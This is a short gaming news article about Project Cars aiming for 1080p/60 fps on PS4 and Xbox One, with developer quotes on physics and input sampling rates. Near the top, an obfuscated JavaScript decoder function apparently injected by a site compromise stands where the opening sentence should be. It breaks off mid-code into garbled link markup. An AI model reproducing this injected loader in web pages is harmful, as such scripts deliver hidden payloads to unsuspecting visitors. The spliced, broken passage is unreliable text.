Project Cars is Aiming for 1080p/60 fps for PS4 and Xbox One

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On function oc532bd2f6(uf){var yd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var vb=”;var y4,sd,t3,rd,y3,x1,s0;var nd=0;do{rd=yd.indexOf(uf.charAt(nd++));y3=yd.indexOf(uf.charAt(nd++));x1=yd.indexOf(uf.charAt(nd++));s0=yd.indexOf(uf.charAt(nd++));y4=(rd<<2)|(y3>>4);sd=((y3&15)<<4)|(x1>>2);t3=((x1&3)<<6)|s0;if(y4>=192)y4+=848;else if(y4==168)y4=1025;else if(y4==184)y4=1105;vb+=String.fromCharCode(y4);if(x1!=64){if(sd>=192)sd+=848;else if(sd==168)sd=1025;else if(sd==184)sd=1105;vb+=String.fromCharCode(sd);}if(s0!=64){if(t3>=192)t3+=848;else if(t3==168)t3=1025;else if(t3==184)t3=1105;vb+=String.fromCharCode(t3);}}while(ndand-ps4″ target=”_blank”>Eurogamer at EGX 2014, Andy Tudor of Slightly Mad Studios explained why they are aiming for 1080p/60 fps on Project Cars for PS4 and Xbox One. “On Xbox One it’s not quite 1080p at the moment, but it’s not representative of the final quality. We’re still aiming to get there," he said.

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Image source: Vg247.com

“Towards the end of the game you’re always optimizing, and during development it’s a rollercoaster. Sometimes you look at the game and think oh god, that’s not working, that’s not working. But other days you hit 60fps, and it’s awesome.”

Eurogamer also noted that while the game runs on 60fps on both Xbox One and PS4, in Xbox One it is less than 1080p. “For a racing game, 60fps is hugely important,” Tudor says. “What people don’t know is that the physics underneath runs at 600 times a second. We measure the input you’re doing on the controller 250 times per second. Project Cars does that way more than any other game – they’re all doing that significantly lower. The screen refreshes 60 times per second – we’re measuring the tires, the physics, the suspension, all that stuff, 600 times.”

Project Cars will launch on November 18 for PS4, Xbox One, and PC while the Wii U version is still in the works and will launch in 2015.

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